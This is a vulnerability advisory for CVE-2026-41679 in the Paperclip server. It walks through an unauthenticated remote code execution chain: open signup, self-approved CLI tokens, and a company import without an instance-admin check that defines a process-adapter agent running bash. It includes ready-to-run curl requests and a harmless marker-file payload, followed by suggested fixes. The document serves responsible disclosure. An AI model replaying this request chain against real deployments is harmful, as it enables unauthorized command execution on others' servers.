CVE-2026-41679
paperclip Vulnerable to Unauthenticated Remote Code Execution via Import Authorization Bypass
Description
## Summary An unauthenticated attacker can achieve full remote code execution on any network-accessible Paperclip instance running in `authenticated` mode with default configuration. No user interaction, no credentials, just the target's address. The entire chain is six API calls. I verified every step against the latest version. I have a fully automated PoC script and a video recording available. Discord: sagi03581 ## Steps to Reproduce The attack chains four independent flaws to escalate from zero access to RCE: ### Step 1: Create an account (no invite, no email verification) ```bash curl -s -X POST -H "Content-Type: application/json" \ -d '{"email":"[email protected]","password":"P@ssw0rd123","name":"attacker"}' \ http://<target>:3100/api/auth/sign-up/email ``` Returns a valid account immediately. No invite token required, no email verification. This works because `PAPERCLIP_AUTH_DISABLE_SIGN_UP` defaults to `false` in `server/src/config.ts:169-173`: ```typescript const authDisableSignUp: boolean = disableSignUpFromEnv !== undefined ? disableSignUpFromEnv === "true" : (fileConfig?.auth?.disableSignUp ?? false); // default: open ``` And email verification is hardcoded off in `server/src/auth/better-auth.ts:89-93`: ```typescript emailAndPassword: { enabled: true, requireEmailVerification: false, disableSignUp: config.authDisableSignUp, }, ``` The environment variable isn't documented in the deployment guide, so operators don't know it exists. ### Step 2: Sign in ```bash curl -s -v -X POST -H "Content-Type: application/json" \ -d '{"email":"[email protected]","password":"P@ssw0rd123"}' \ http://<target>:3100/api/auth/sign-in/email ``` Capture the session cookie from the `Set-Cookie` header. ### Step 3: Create a CLI auth challenge and self-approve it Create the challenge (no authentication required at all): ```bash curl -s -X POST -H "Content-Type: application/json" \ -d '{"command":"test"}' \ http://<target>:3100/api/cli-auth/challenges ``` The response includes a `token` and a `boardApiToken`. The handler at `server/src/routes/access.ts:1638-1659` has no actor check -- anyone can create a challenge. Now approve it with our own session: ```bash curl -s -X POST \ -H "Cookie: <session-cookie>" \ -H "Content-Type: application/json" \ -H "Origin: http://<target>:3100" \ -d '{"token":"<token-from-above>"}' \ http://<target>:3100/api/cli-auth/challenges/<id>/approve ``` The approval handler at `server/src/routes/access.ts:1687-1704` checks that the caller is a board user but does not check whether the approver is the same person who created the challenge: ```typescript if (req.actor.type !== "board" || (!req.actor.userId && !isLocalImplicit(req))) { throw unauthorized("Sign in before approving CLI access"); } // no check that approver !== creator const userId = req.actor.userId ?? "local-board"; const approved = await boardAuth.approveCliAuthChallenge(id, req.body.token, userId); ``` The `boardApiToken` from step 3 is now a persistent API key tied to our account. ### Step 4: Create a company and deploy an agent via import (authorization bypass) This is the critical flaw. The direct company creation endpoint correctly requires instance admin: `server/src/routes/companies.ts:260-264`: ```typescript router.post("/", validate(createCompanySchema), async (req, res) => { assertBoard(req); if (!(req.actor.source === "local_implicit" || req.actor.isInstanceAdmin)) { throw forbidden("Instance admin required"); } }); ``` But the import endpoint does not: `server/src/routes/companies.ts:170-176`: ```typescript router.post("/import", validate(companyPortabilityImportSchema), async (req, res) => { assertBoard(req); // only checks board type if (req.body.target.mode === "existing_company") { assertCompanyAccess(req, req.body.target.companyId); // only for existing } // NO assertInstanceAdmin for "new_company" mode const result = await portability.importBundle(req.body, ...); }); ``` `assertInstanceAdmin` isn't even imported in `companies.ts` (line 27 only imports `assertBoard`, `assertCompanyAccess`, `getActorInfo`), while it is imported and used in other route files like `agents.ts`. The import also accepts a `.paperclip.yaml` in the bundle that specifies agent adapter configuration. The `process` adapter takes a `command` and `args` and calls `spawn()` directly with zero sandboxing. The import service passes the full `adapterConfig` through without validation (`server/src/services/company-portability.ts:3955-3981`). ```bash curl -s -X POST -H "Authorization: Bearer <board-api-key>" \ -H "Content-Type: application/json" \ -H "Origin: http://<target>:3100" \ -d '{ "source": {"type": "inline", "files": { "COMPANY.md": "---\nname: attacker-corp\nslug: attacker-corp\n---\nx", "agents/pwn/AGENTS.md": "---\nkind: agent\nname: pwn\nslug: pwn\nrole: engineer\n---\nx", ".paperclip.yaml": "agents:\n pwn:\n icon: terminal\n adapter:\n type: process\n config:\n command: bash\n args:\n - -c\n - id > /tmp/pwned.txt && whoami >> /tmp/pwned.txt" }}, "target": {"mode": "new_company", "newCompanyName": "attacker-corp"}, "include": {"company": true, "agents": true}, "agents": "all" }' \ http://<target>:3100/api/companies/import ``` Returns the new company ID and agent ID. The attacker now owns a company with a process adapter agent configured to run arbitrary commands. ### Step 5: Trigger the agent ```bash curl -s -X POST -H "Authorization: Bearer <board-api-key>" \ -H "Content-Type: application/json" \ -H "Origin: http://<target>:3100" \ -d '{}' \ http://<target>:3100/api/agents/<agent-id>/wakeup ``` The wakeup handler at `server/src/routes/agents.ts:2073-2085` only checks `assertCompanyAccess`, which passes because the attacker created the company. Paperclip spawns `bash -c "id > /tmp/pwned.txt && ..."` as the server's OS user. ### Proof of Concept I have a self-contained bash script that runs the full chain automatically: ``` ./poc_exploit.sh http://<target>:3100 ``` It creates a random test account, self-approves a CLI key, imports a company with a process adapter agent, triggers it, and checks for a marker file to confirm execution. Runs in under 30 seconds. ## Impact An unauthenticated remote attacker can execute arbitrary commands as the Paperclip server's OS user on any `authenticated` mode deployment with default configuration. This gives them: - Full filesystem access (read/write as the server user) - Access to all data in the Paperclip database - Ability to pivot to internal network services - Ability to disrupt all agent operations The attack is fully automated, requires no user interaction, and works against the default deployment configuration. ## Suggested Fixes ### Critical: Unauthorized board access (the root cause) The import bypass is how I got RCE today, but the real problem is that anyone can go from unauthenticated to a fully persistent board user through open signup + self-approve. Even if you fix the import endpoint, the attacker still has a board API key and can: - Read adapter configurations and internal API structure - Approve/reject/request-revision on any company's approvals (these endpoints only check `assertBoard`, not `assertCompanyAccess`) - Cancel any company's agent runs (same missing check) - Read issue data from any heartbeat run (zero auth on `GET /api/heartbeat-runs/:runId/issues`) - Create unlimited accounts for resource exhaustion - Wait for the next authorization bug to appear **These need to be fixed together:** 1. **Disable open registration by default** -- `server/src/config.ts:172`, change `?? false` to `?? true`. Document `PAPERCLIP_AUTH_DISABLE_SIGN_UP` in the deployment guide. Any deployment that wants open signup can opt in explicitly. 2. **Prevent CLI auth self-approval** -- `server/src/routes/access.ts`, around line 1700. Reject when the approving user is the same user who created the challenge. Right now anyone with a session can generate their own persistent API key. 3. **Require email verification** -- `server/src/auth/better-auth.ts:91`, set `requireEmailVerification: true`. At minimum this stops throwaway accounts. ### Critical: Import authorization bypass (the RCE path) 4. **Add `assertInstanceAdmin` to the import endpoint for `new_company` mode** -- `server/src/routes/companies.ts`, lines 161-176. The direct `POST /` creation endpoint already has this check. The import endpoint doesn't. Apply the same check to both `POST /import` and `POST /import/preview`: ```typescript assertBoard(req); if (req.body.target.mode === "new_company") { if (!(req.actor.source === "local_implicit" || req.actor.isInstanceAdmin)) { throw forbidden("Instance admin required"); } } else { assertCompanyAccess(req, req.body.target.companyId); } ```